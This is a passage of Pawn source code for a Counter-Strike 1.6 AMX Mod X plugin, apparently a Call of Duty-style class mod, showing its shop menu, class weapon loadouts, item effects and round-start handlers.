- g_msg_screenfade = get_user_msgid("ScreenFade");
- g_msg_bartime = get_user_msgid("BarTime")
- g_msg_clcorpse = get_user_msgid("ClCorpse")
- g_msg_statusicon = get_user_msgid("StatusIcon")
- SyncHudObj = CreateHudSyncObj();
- SyncHudObj2 = CreateHudSyncObj();
- SyncHudObj3 = CreateHudSyncObj();
- doswiadczenia_za_zabojstwo = get_cvar_num("cod_killxp");
- doswiadczenie_za_bombe = get_cvar_num("cod_bombxp");
- doswiadczenie_za_wygrana = get_cvar_num("cod_winxp");
- doswiadczenie_za_hs = get_cvar_num("cod_hsexp");
- register_event("ResetHUD", "ResetHUD", "abe");
- register_think("magnet","MagnetThink");
- pcvar_ilosc_elektromagnesow = register_cvar("cod_magnets", "1");
- pcvar_zasieg = register_cvar("cod_magnetradius", "250");
- pcvar_widocznosc_fali = register_cvar("cod_wavesvisibility", "5");
- /* --==[ VIP ] ==-- */
- mpd = register_cvar("money_per_damage","3")
- mkb = register_cvar("money_kill_bonus","500")
- mhb = register_cvar("money_hs_bonus","300")
- health_add = register_cvar("amx_vip_hp", "15")
- health_hs_add = register_cvar("amx_vip_hp_hs", "30")
- health_max = register_cvar("amx_vip_max_hp", "1000")
- g_vip_active = register_cvar("vip_active", "0")
- g_menu_active = register_cvar("menu_active", "1")
- register_event("CurWeapon", "event_CurWeapon_Vip", "be", "1=1")
- register_event("Damage","Damage2","b")
- register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
- register_menucmd(register_menuid("rod"), Keysrod, "Pressedrod")
- register_clcmd("say /vip","ShowMotd")
- maxplayers = get_maxplayers()
- g_MsgSync = CreateHudSyncObj()
- gmsgSayText = get_user_msgid("SayText")
- register_clcmd("say", "handle_say")
- register_cvar("sv_contact", CONTACT, FCVAR_SERVER)
- register_logevent("Round_Reset", 2, "1=Game_Commencing")
- register_event("TextMsg", "Round_Reset", "a", "2&Game_will_restart_in")
- register_event("DeathMsg", "hook_death", "a", "1>0")
- /* --==[ VIP ] ==-- */
- set_task(30.0, "Pomoc");
- g_msgHostageAdd = get_user_msgid("HostagePos");
- g_msgHostageDel = get_user_msgid("HostageK");
- set_task(1.5, "radar_scan", _, _, _, "b");
- }
- public Sklep(id)
- {
- new menu = menu_create("Sklep:", "Sklep_Handle");
- menu_additem(menu, "Mala Apoteka \r[Daje 20 HP] \yCena: \r4000$");
- menu_additem(menu, "Srednja Apoteka \r[Daje 50 HP] \yCena: \r10000$");
- menu_additem(menu, "Velika Apoteka \r[Daje 100 HP] \yCena: \r15000$");
- menu_additem(menu, "Slucajni Predmet \r[Dobijate Slucajni Predmet] \yCena: \r5000$");
- menu_additem(menu, "Energija \r[+80] \yCena: \r9000$");
- menu_additem(menu, "Kupi Granatu \yCena: \r2500$");
- menu_additem(menu, "Mali Exp \r[Dobijate slucajno od 200 do 500 Exp]\yCena: \r8000$");
- menu_additem(menu, "Veliki Exp \r[Dobijate slucajno od 500 do 1000 Exp]\yCena: \r16000$");
- menu_display(id, menu);
- }
- public Sklep_Handle(id, menu, item)
- {
- client_cmd(id, "spk mw/select")
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED
- }
- menu_display(id, menu)
- new kasa_gracza = cs_get_user_money(id)
- new hp = get_user_health(id)
- switch(item)
- {
- case 0:
- {
- new koszt = 4000;
- if (kasa_gracza<koszt)
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
- return PLUGIN_CONTINUE;
- }
- if(hp >= maksymalne_zdrowie_gracza[id])
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni.");
- return PLUGIN_CONTINUE;
- }
- cs_set_user_money(id, kasa_gracza-koszt);
- new ammount=20;
- new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
- set_user_health(id, nowe_zdrowie);
- ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Ketonal");
- }
- case 1:
- {
- new koszt = 10000;
- if (kasa_gracza<koszt)
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
- return PLUGIN_CONTINUE;
- }
- if(hp >= maksymalne_zdrowie_gracza[id])
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni");
- return PLUGIN_CONTINUE;
- }
- cs_set_user_money(id, kasa_gracza-koszt);
- new ammount=50;
- new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
- set_user_health(id, nowe_zdrowie);
- ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Flegamin");
- }
- case 2:
- {
- new koszt = 15000;
- if (kasa_gracza<koszt)
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
- return PLUGIN_CONTINUE;
- }
- if(hp >= maksymalne_zdrowie_gracza[id])
- {
- ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni.");
- return PLUGIN_CONTINUE;
- }
- cs_set_user_money(id, kasa_gracza-koszt);
- new ammount=100;
- new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
- set_user_health(id, nowe_zdrowie);
- ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Aspirin");
- }
- case 3:
- {
- new koszt = 5000;
- if (kasa_gracza<koszt)
- {
- ColorChat(id,RED,"[Shop]^x01 Nemate dovoljno novca!!");
- return PLUGIN_HANDLED;
- }
- else if (kasa_gracza >= koszt)
- {
- cs_set_user_money(id, kasa_gracza-koszt);
- DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
- }
- }
- case 4:
- {
- new jego_wytrzymalosc = wytrzymalosc_itemu[id]
- new koszt= 9000
- new ilosc_wytrzy = 80
- if(kasa_gracza < koszt)
- {
- ColorChat(id, RED, "[COD:MW3]^x04 Imate malo novca da bi kupili energiju ^x03 %d.", koszt);
- }
- else if(kasa_gracza >= koszt && jego_wytrzymalosc < 81)
- {
- cs_set_user_money(id, kasa_gracza -= koszt)
- wytrzymalosc_itemu[id] += ilosc_wytrzy
- ColorChat(id, RED, "[COD:MW3] ^x04 Kupili ste %d Energiju", ilosc_wytrzy);
- }
- else if(jego_wytrzymalosc >= 81)
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Morate imati manje od 81 energije da bi ste kupili!");
- }
- }
- case 5:
- {
- new koszt = 2500
- if(kasa_gracza < koszt)
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi kupili granatu %d.", koszt)
- }
- else if(kasa_gracza >= koszt)
- {
- cs_set_user_money(id, kasa_gracza -= koszt)
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_flashbang");
- give_item(id, "weapon_smokegrenade");
- ColorChat(id, GREEN, "^x04 [COD:MW3] ^x04 Kupili ste paket granata")
- }
- }
- case 6:
- {
- new koszt = 8000
- if(kasa_gracza < koszt)
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi kupili mali Exp..")
- }
- else if(kasa_gracza >= koszt)
- {
- cs_set_user_money(id, kasa_gracza -= koszt)
- new exp = random_num(15, 30);
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobili ste %i Expa.", exp)
- doswiadczenie_gracza[id] += exp;
- }
- }
- case 7:
- {
- new koszt = 16000
- if(kasa_gracza < koszt)
- {
- ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi ste kupili veliki Exp.")
- }
- else if(kasa_gracza >= koszt)
- {
- cs_set_user_money(id, kasa_gracza -= koszt)
- new exp = random_num(25, 45);
- ColorChat(id, RED, "[COD:MW3] ^x04 Dobili ste %i Expa.", exp)
- doswiadczenie_gracza[id] += exp;
- }
- }
- }
- return PLUGIN_CONTINUE
- }
- public plugin_precache()
- {
- sprite_white = precache_model("sprites/white.spr")
- sprite_blast = precache_model("sprites/dexplo.spr")
- precache_sound("mw/select.wav")
- precache_sound("mw/start.wav")
- precache_sound("mw/start2.wav")
- precache_sound("mw/levelup.wav")
- precache_model("models/w_medkit.mdl")
- precache_model("models/rpgrocket.mdl")
- precache_model("models/mine.mdl")
- precache_sound("weapons/mine_charge.wav")
- precache_sound("weapons/mine_activate.wav")
- precache_sound("weapons/mine_deploy.wav")
- precache_sound(SOUND_START)
- precache_sound(SOUND_FINISHED)
- precache_sound(SOUND_FAILED)
- /* --==[ KillStreak ]==-- */
- cache_trail = precache_model("sprites/smoke.spr")
- precache_model("models/p_hegrenade.mdl");
- precache_model("models/cod_carepackage.mdl")
- precache_model("models/cod_plane.mdl")
- precache_model("models/cod_predator.mdl")
- precache_sound("mw/nuke_enemy1.wav")
- precache_sound("mw/jet_fly1.wav")
- precache_sound("mw/nuke_give.wav")
- precache_sound("mw/emp_effect.wav")
- precache_sound("mw/counter_enemy.wav")
- precache_sound("mw/air_give.wav")
- precache_sound("mw/predator_give.wav")
- precache_sound("mw/emp_give.wav")
- precache_sound("mw/uav_give.wav")
- /* --==[ KillStreak ]==-- */
- }
- public CmdStart(id, uc_handle)
- {
- if(!is_user_alive(id))
- {
- return FMRES_IGNORED
- }
- if(zatrzymaj_czas && zatrzymaj_czas != id)
- {
- entity_set_vector(id, EV_VEC_velocity, Float:{0.0, 0.0, 0.0});
- entity_set_vector(id, EV_VEC_v_angle, Float:{0.0, 0.0, 0.0});
- entity_set_vector(id, EV_VEC_angles, Float:{0.0, 0.0, 0.0});
- entity_set_int(id, EV_INT_fixangle, 1);
- set_pdata_float(id, 83, 0.1, 5);
- set_uc(uc_handle, UC_Buttons, 0);
- new name[55];
- get_user_name(zatrzymaj_czas, name, 54);
- client_print(id, print_center, "%s Preostalo vreme na njegov predmet 3sek.", name);
- }
- new button = get_uc(uc_handle, UC_Buttons);
- new oldbutton = get_user_oldbutton(id);
- new flags = get_entity_flags(id);
- if(informacje_przedmiotu_gracza[id][0] == 11 || klasa_gracza[id] == Rambo)
- {
- if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && ilosc_skokow_gracza[id] > 0)
- {
- ilosc_skokow_gracza[id]--;
- new Float:velocity[3];
- entity_get_vector(id,EV_VEC_velocity,velocity);
- velocity[2] = random_float(265.0,285.0);
- entity_set_vector(id,EV_VEC_velocity,velocity);
- }
- else if(flags & FL_ONGROUND)
- {
- ilosc_skokow_gracza[id] = 0
- if(informacje_przedmiotu_gracza[id][0] == 11)
- {
- ilosc_skokow_gracza[id]++
- }
- if(klasa_gracza[id] == Rambo)
- {
- ilosc_skokow_gracza[id]++
- }
- }
- }
- if(informacje_przedmiotu_gracza[id][0] == 48)
- {
- if(button & IN_DUCK)
- {
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 8)
- }
- else
- {
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255)
- }
- }
- if(button & IN_ATTACK2 && !(pev(id, pev_oldbuttons) & IN_ATTACK2) && informacje_przedmiotu_gracza[id][0] == 63)
- {
- new szClip, szAmmo
- new WeapID = get_user_weapon( id, szClip, szAmmo )
- if(WeapID != CSW_KNIFE && WeapID != CSW_C4 && WeapID != CSW_AWP && WeapID != CSW_SCOUT && WeapID != CSW_SG550 && WeapID != CSW_G3SG1 && !hasZoom[id])
- {
- hasZoom[id] = true;
- cs_set_user_zoom(id, CS_SET_FIRST_ZOOM, 1);
- emit_sound(id, CHAN_ITEM, "weapons/zoom.wav", 0.20, 2.40, 0, 100);
- }
- else if (hasZoom[id])
- {
- hasZoom[id] = false;
- cs_set_user_zoom(id, CS_RESET_ZOOM, 0);
- }
- }
- if(button & IN_ATTACK)
- {
- new Float:punchangle[3];
- if(informacje_przedmiotu_gracza[id][0] == 20)
- entity_set_vector(id, EV_VEC_punchangle, punchangle);
- if(informacje_przedmiotu_gracza[id][0] == 23)
- {
- entity_get_vector(id, EV_VEC_punchangle, punchangle);
- for(new i=0; i<3;i++)
- punchangle[i]*=0.9;
- entity_set_vector(id, EV_VEC_punchangle, punchangle);
- }
- if(informacje_przedmiotu_gracza[id][0] == 70)
- {
- entity_get_vector(id, EV_VEC_punchangle, punchangle);
- for(new i=0; i<3;i++)
- punchangle[i]*=1.1;
- entity_set_vector(id, EV_VEC_punchangle, punchangle);
- }
- }
- if(informacje_przedmiotu_gracza[id][0] == 28 && button & IN_JUMP && button & IN_DUCK && flags & FL_ONGROUND && get_gametime() > informacje_przedmiotu_gracza[id][1]+4.0)
- {
- informacje_przedmiotu_gracza[id][1] = floatround(get_gametime())
- new Float:velocity[3]
- VelocityByAim(id, 700, velocity)
- velocity[2] = random_float(265.0,285.0)
- entity_set_vector(id, EV_VEC_velocity, velocity)
- }
- new clip, ammo, weapon = get_user_weapon(id, clip, ammo);
- if(maxClip[weapon] == -1 || !ammo)
- {
- return FMRES_IGNORED
- }
- if(informacje_przedmiotu_gracza[id][0] == 77 && ((button & IN_RELOAD && !(oldbutton & IN_RELOAD) && !(button & IN_ATTACK)) || !clip))
- {
- cs_set_user_bpammo(id, weapon, ammo-(maxClip[weapon]-clip));
- new new_ammo = min(clip+ammo, maxClip[weapon]);
- set_user_clip(id, new_ammo);
- }
- return FMRES_IGNORED
- }
- public Odrodzenie(id)
- {
- if(!is_user_alive(id) || !is_user_connected(id))
- return PLUGIN_CONTINUE;
- if(nowa_klasa_gracza[id])
- {
- klasa_gracza[id] = nowa_klasa_gracza[id];
- nowa_klasa_gracza[id] = 0;
- strip_user_weapons(id);
- give_item(id, "weapon_knife");
- switch(get_user_team(id))
- {
- case 1: give_item(id, "weapon_glock18");
- case 2: give_item(id, "weapon_usp");
- }
- WczytajDane(id, klasa_gracza[id]);
- }
- if(!klasa_gracza[id])
- {
- WybierzKlase(id);
- return PLUGIN_CONTINUE;
- }
- switch(klasa_gracza[id])
- {
- case Snajperista:
- {
- give_item(id, "weapon_awp");
- give_item(id, "weapon_scout");
- give_item(id, "weapon_deagle");
- }
- case Marinac:
- {
- give_item(id, "weapon_deagle");
- give_item(id, "weapon_famas");
- }
- case ProStrelac:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_ak47");
- }
- case Mitraljezac:
- {
- give_item(id, "weapon_m249");
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_flashbang");
- give_item(id, "weapon_smokegrenade");
- }
- case Doktor:
- {
- give_item(id, "weapon_ump45")
- ilosc_apteczek_gracza[id] = 4
- }
- case VatrenaPodrska:
- {
- give_item(id, "weapon_mp5navy");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Miner:
- {
- give_item(id, "weapon_p90");
- ilosc_min_gracza[id] = 3
- }
- case Demolitions:
- {
- give_item(id, "weapon_aug");
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_flashbang");
- give_item(id, "weapon_smokegrenade");
- ilosc_dynamitow_gracza[id] = 1;
- }
- case Rusher:
- {
- give_item(id, "weapon_m3");
- }
- case Rambo:
- {
- give_item(id, "weapon_famas");
- }
- case Revolveras:
- {
- give_item(id, "weapon_elite");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Bombarder:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_deagle");
- }
- case Strelac:
- {
- give_item(id, "weapon_xm1014");
- give_item(id, "weapon_elite");
- }
- case Informator:
- {
- give_item(id, "weapon_mp5navy");
- }
- case Pukovnik:
- {
- give_item(id, "weapon_famas");
- give_item(id, "weapon_deagle");
- ilosc_min_gracza[id] = 2
- }
- case Pobunjenik:
- {
- give_item(id, "weapon_sg552");
- ilosc_rakiet_gracza[id] = 2;
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 65);
- }
- case SerijskiUbica:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_smokegrenade");
- }
- case Desetar:
- {
- give_item(id, "weapon_scout");
- give_item(id, "weapon_deagle");
- }
- case Vodnik:
- {
- give_item(id, "weapon_m3");
- }
- case Kamikaza:
- {
- give_item(id, "weapon_m4a1");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Assassin:
- {
- give_item(id, "weapon_deagle");
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 5);
- }
- case Major:
- {
- give_item(id, "weapon_glock18");
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_usp");
- give_item(id, "weapon_p228");
- give_item(id, "weapon_deagle");
- give_item(id, "weapon_elite");
- give_item(id, "weapon_fiveseven");
- give_item(id, "weapon_smokegrenade");
- ilosc_min_gracza[id] = 10
- }
- case Kapetan:
- {
- give_item(id, "weapon_aug");
- }
- case Potpukovnik:
- {
- give_item(id, "weapon_awp");
- give_item(id, "weapon_deagle");
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 55);
- }
- case Marsal:
- {
- give_item(id, "weapon_deagle");
- }
- case NemackiStrelac:
- {
- give_item(id, "weapon_ak47");
- ilosc_rakiet_gracza[id] = 2;
- }
- case RuskiPukovnik:
- {
- give_item(id, "weapon_m4a1");
- ilosc_min_gracza[id] = 1
- }
- case PoljskaPesadija:
- {
- give_item(id, "weapon_mp5navy");
- ilosc_dynamitow_gracza[id] = 2
- }
- case Mornar:
- {
- give_item(id, "weapon_mac10");
- ilosc_min_gracza[id] = 2
- }
- case Napadac:
- {
- give_item(id, "weapon_famas");
- give_item(id, "weapon_p90");
- ilosc_dynamitow_gracza[id] = 3
- }
- case Legija:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_sg552");
- give_item(id, "weapon_deagle");
- }
- case Armageddon:
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_aug");
- give_item(id, "weapon_hegrenade");
- ilosc_dynamitow_gracza[id] = 3
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 30);
- }
- case Samuraj:
- {
- give_item(id, "weapon_usp");
- }
- case RatkoMladic:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_deagle");
- ilosc_rakiet_gracza[id] = 5;
- }
- case SWAT:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_usp");
- }
- case Partizan:
- {
- give_item(id, "weapon_p90");
- give_item(id, "weapon_flashbang");
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 70);
- }
- case Gunner:
- {
- give_item(id, "weapon_g3sg1");
- give_item(id, "weapon_deagle");
- give_item(id, "weapon_hegrenade");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Cleric:
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_elite");
- ilosc_min_gracza[id] = 3
- }
- case General:
- {
- give_item(id, "weapon_m4a1");
- give_item(id, "weapon_p90");
- give_item(id, "weapon_deagle");
- ZmienUbranie(id, 0);
- }
- case Terminator:
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_usp");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Slayer:
- {
- give_item(id, "weapon_famas");
- give_item(id, "weapon_p90");
- ilosc_rakiet_gracza[id] = 3;
- }
- case Zastavnik:
- {
- give_item(id, "weapon_p90");
- give_item(id, "weapon_deagle");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Admiral:
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_famas");
- }
- case Fighter:
- {
- give_item(id, "weapon_mac10");
- give_item(id, "weapon_scout");
- give_item(id, "weapon_usp");
- ilosc_dynamitow_gracza[id] = 2
- }
- case Policajac:
- {
- give_item(id, "weapon_xm014");
- give_item(id, "weapon_tmp");
- give_item(id, "weapon_fiveseven");
- }
- case Specijalac:
- {
- give_item(id, "weapon_famas");
- give_item(id, "weapon_p228");
- give_item(id, "weapon_m3");
- }
- case Predator:
- {
- give_item(id, "weapon_sg552");
- give_item(id, "weapon_glock18");
- give_item(id, "weapon_smokegrenade");
- }
- case NemackiOficir:
- {
- give_item(id, "weapon_p90");
- give_item(id, "weapon_glock18");
- give_item(id, "weapon_smokegrenade");
- }
- case Cetnik:
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_hegrenade");
- ilosc_dynamitow_gracza[id] = 2
- }
- case ProfVojnik:
- {
- give_item(id, "weapon_famas");
- give_item(id, "weapon_usp");
- ilosc_rakiet_gracza[id] = 2;
- }
- case Crysis:
- {
- give_item(id, "weapon_sg552");
- give_item(id, "weapon_m4a1");
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 70);
- }
- case ProfStrelac:
- {
- give_item(id, "weapon_awp");
- give_item(id, "weapon_m4a1");
- ilosc_rakiet_gracza[id] = 2;
- }
- }
- if(!informacje_przedmiotu_gracza[id][0] && klasa_gracza[id] != Partizan)
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
- if(punkty_gracza[id]>0)
- set_task(1.0, "PrzydzielPunkty", id);
- if(informacje_przedmiotu_gracza[id][0] == 61)
- ilosc_min_gracza[id] += 5;
- if(informacje_przedmiotu_gracza[id][0] == 78)
- set_user_gravity(id, 0.5);
- if(informacje_przedmiotu_gracza[id][0] == 62)
- give_item(id, "weapon_galil");
- if(informacje_przedmiotu_gracza[id][0] == 10 || informacje_przedmiotu_gracza[id][0] == 9 || informacje_przedmiotu_gracza[id][0] == 59 || informacje_przedmiotu_gracza[id][0] == 31)
- give_item(id, "weapon_hegrenade");
- if(informacje_przedmiotu_gracza[id][0] == 56)
- give_item(id, "weapon_m4a1");
- if(informacje_przedmiotu_gracza[id][0] == 57)
- give_item(id, "weapon_ak47");
- if(informacje_przedmiotu_gracza[id][0] == 89)
- {
- itemo[id]++
- if(itemo[id] > 1)
- UsunPrzedmiot(id);
- }
- if(informacje_przedmiotu_gracza[id][0] == 9 || informacje_przedmiotu_gracza[id][0] == 31 || informacje_przedmiotu_gracza[id][0] == 55 || informacje_przedmiotu_gracza[id][0] == 67)
- ZmienUbranie(id, 0);
- if(informacje_przedmiotu_gracza[id][0] == 67)
- {
- give_item(id, "weapon_usp");
- give_item(id, "weapon_mp5navy");
- }
- if(informacje_przedmiotu_gracza[id][0] == 1 || informacje_przedmiotu_gracza[id][0] == 32 || informacje_przedmiotu_gracza[id][0] == 42 || informacje_przedmiotu_gracza[id][0] == 50 || informacje_przedmiotu_gracza[id][0] == 54 || informacje_przedmiotu_gracza[id][0] == 58 || informacje_przedmiotu_gracza[id][0] == 59)
- set_user_footsteps(id, 1);
- else
- set_user_footsteps(id, 0);
- if(informacje_przedmiotu_gracza[id][0] == 13)
- give_item(id, "weapon_awp");
- if(informacje_przedmiotu_gracza[id][0] == 33)
- give_item(id, "weapon_m4a1");
- if(informacje_przedmiotu_gracza[id][0] == 32)
- {
- give_item(id, "weapon_ak47");
- give_item(id, "weapon_awp");
- }
- if(informacje_przedmiotu_gracza[id][0] == 53)
- {
- give_item(id, "weapon_deagle");
- give_item(id, "weapon_awp");
- }
- if(informacje_przedmiotu_gracza[id][0] == 33)
- give_item(id, "weapon_m4a1");
- if(informacje_przedmiotu_gracza[id][0] == 34)
- give_item(id, "weapon_deagle");
- if(informacje_przedmiotu_gracza[id][0] == 35)
- give_item(id, "weapon_m3");
- if(informacje_przedmiotu_gracza[id][0] == 55)
- give_item(id, "weapon_scout");
- if(informacje_przedmiotu_gracza[id][0] == 60)
- give_item(id, "weapon_m4a1");
- if(informacje_przedmiotu_gracza[id][0] == 19)
- informacje_przedmiotu_gracza[id][1] = 1;
- if(informacje_przedmiotu_gracza[id][0] == 84 || informacje_przedmiotu_gracza[id][0] == 75 || informacje_przedmiotu_gracza[id][0] == 76 || informacje_przedmiotu_gracza[id][0] == 45 || informacje_przedmiotu_gracza[id][0] == 87)
- informacje_przedmiotu_gracza[id][1] = 1;
- if(informacje_przedmiotu_gracza[id][0] == 27)
- informacje_przedmiotu_gracza[id][1] = 3;
- if(informacje_przedmiotu_gracza[id][0] == 38)
- ilosc_apteczek_gracza[id] = 5;
- if(informacje_przedmiotu_gracza[id][0] == 54)
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
- if(informacje_przedmiotu_gracza[id][0] == 36)
- set_user_rendering(id, kRenderFxGlowShell, 0, 255, 0, kRenderGlow, 30);
- new weapons[32];
- new weaponsnum;
- get_user_weapons(id, weapons, weaponsnum);
- for(new i=0; i<weaponsnum; i++)
- if(is_user_alive(id))
- if(maxAmmo[weapons[i]] > 0)
- cs_set_user_bpammo(id, weapons[i], maxAmmo[weapons[i]]);
- redukcja_obrazen_gracza[id] = (47.3057*(1.0-floatpower( 2.7182, -0.06798*float(wytrzymalosc_gracza[id])))/100);
- maksymalne_zdrowie_gracza[id] = zdrowie_klasy[klasa_gracza[id]]+zdrowie_gracza[id]*2;
- szybkosc_gracza[id] = 250*szybkosc_klasy[klasa_gracza[id]]+floatround(kondycja_gracza[id]*1.3);
- if(informacje_przedmiotu_gracza[id][0] == 82)
- {
- maksymalne_zdrowie_gracza[id] = 25;
- set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 1)
- }
- if(informacje_przedmiotu_gracza[id][0] == 83)
- {
- maksymalne_zdrowie_gracza[id] = 90;
- set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 15)
- }
- if(informacje_przedmiotu_gracza[id][0] == 80)
- {
- maksymalne_zdrowie_gracza[id] += informacje_przedmiotu_gracza[id][1];
- give_item(id, "weapon_m3");
- }
- if(informacje_przedmiotu_gracza[id][0] == 70 || informacje_przedmiotu_gracza[id][0] == 50 || informacje_przedmiotu_gracza[id][0] == 71 || informacje_przedmiotu_gracza[id][0] == 37 || informacje_przedmiotu_gracza[id][0] == 42 || informacje_przedmiotu_gracza[id][0] == 18 || informacje_przedmiotu_gracza[id][0] == 30)
- maksymalne_zdrowie_gracza[id] += 100;
- if(informacje_przedmiotu_gracza[id][0] == 18)
- szybkosc_gracza[id] -= 0.4;
- if(informacje_przedmiotu_gracza[id][0] == 29)
- {
- maksymalne_zdrowie_gracza[id] += 50;
- szybkosc_gracza[id] += 0.2;
- }
- if(informacje_przedmiotu_gracza[id][0] == 36)
- maksymalne_zdrowie_gracza[id] = 10;
- if(informacje_przedmiotu_gracza[id][0] == 39)
- set_user_gravity(id, 0.5);
- if(informacje_przedmiotu_gracza[id][0] == 54)
- set_user_gravity(id, 0.8);
- if(informacje_przedmiotu_gracza[id][0] == 30)
- szybkosc_gracza[id] -= 20;
- if(informacje_przedmiotu_gracza[id][0] == 25)
- {
- maksymalne_zdrowie_gracza[id] += 50;
- szybkosc_gracza[id] -= 0.3;
- }
- if(informacje_przedmiotu_gracza[id][0] == 54)
- maksymalne_zdrowie_gracza[id] = 1;
- if(informacje_przedmiotu_gracza[id][0] == 50)
- szybkosc_gracza[id] += 10;
- if(informacje_przedmiotu_gracza[id][0] == 43)
- szybkosc_gracza[id] += 20;
- if(informacje_przedmiotu_gracza[id][0] == 44)
- maksymalne_zdrowie_gracza[id] += 70;
- if(informacje_przedmiotu_gracza[id][0] == 49)
- informacje_przedmiotu_gracza[id][1] = 1;
- if(informacje_przedmiotu_gracza[id][0] == 52)
- informacje_przedmiotu_gracza[id][1] = 1;
- if(informacje_przedmiotu_gracza[id][0] == 79)
- ilosc_min_gracza[id] += 3;
- if(informacje_przedmiotu_gracza[id][0] == 88)
- maksymalne_zdrowie_gracza[id] *= 2;
- set_user_armor(id, pancerz_klasy[klasa_gracza[id]]);
- set_user_health(id, maksymalne_zdrowie_gracza[id]);
- if(informacje_przedmiotu_gracza[id][0] == 17)
- set_user_armor(id, 500);
- if(informacje_przedmiotu_gracza[id][0] == 46)
- set_user_armor(id, 500);
- if(informacje_przedmiotu_gracza[id][0] == 64)
- cs_set_user_money(id,16000);
- return PLUGIN_CONTINUE;
- }
- public PoczatekRundy()
- {
- freezetime = false;
- for(new id=0;id<=32;id++)
- {
- if(!is_user_alive(id))
- continue;
- set_task(0.1, "UstawSzybkosc", id+ZADANIE_USTAW_SZYBKOSC);
- switch(get_user_team(id))
- {
- case 1: client_cmd(id, "spk mw/start");
- case 2: client_cmd(id, "spk mw/start2");
- }
- }
- round++;
- new players[32], player, pnum;
- get_players(players, pnum, "a");
- for(new i = 0; i < pnum; i++)
- {
- player = players[i];
- if(is_user_connected(player) && get_user_flags(player) & ADMIN_LEVEL_H)
- {
- if(!get_pcvar_num(g_menu_active))
- return PLUGIN_CONTINUE
- if(!is_user_hltv(player) && !is_user_bot(player))
- {
- give_item(player, "weapon_hegrenade");
- give_item(player, "weapon_flashbang");
- give_item(player, "weapon_flashbang");
- give_item(player, "weapon_smokegrenade");
- give_item(player, "item_assaultsuit");
- give_item(player, "item_thighpack");
- }
- if(round > 3) Showrod(player)
- }
- }
- return PLUGIN_HANDLED;
- }
- public NowaRunda()
- {
- NowaRunda_magnet();
- freezetime = true;
- new iEnt = find_ent_by_class(-1, "Mine");
- while(iEnt > 0)
- {
- remove_entity(iEnt);
- iEnt = find_ent_by_class(iEnt, "Mine");
- }
- }
- public TakeDamage(this, idinflictor, idattacker, Float:damage, damagebits)
- {
- if(!is_user_alive(this) || !is_user_connected(this) || informacje_przedmiotu_gracza[this][0] == 24 || !is_user_connected(idattacker) || get_user_team(this) == get_user_team(idattacker) || !klasa_gracza[idattacker])
- return HAM_IGNORED;
- new health = get_user_health(this);
- new weapon = get_user_weapon(idattacker);
- if(health < 2)
- return HAM_IGNORED;
- if(informacje_przedmiotu_gracza[this][0] == 27 && informacje_przedmiotu_gracza[this][1]>0)
- {
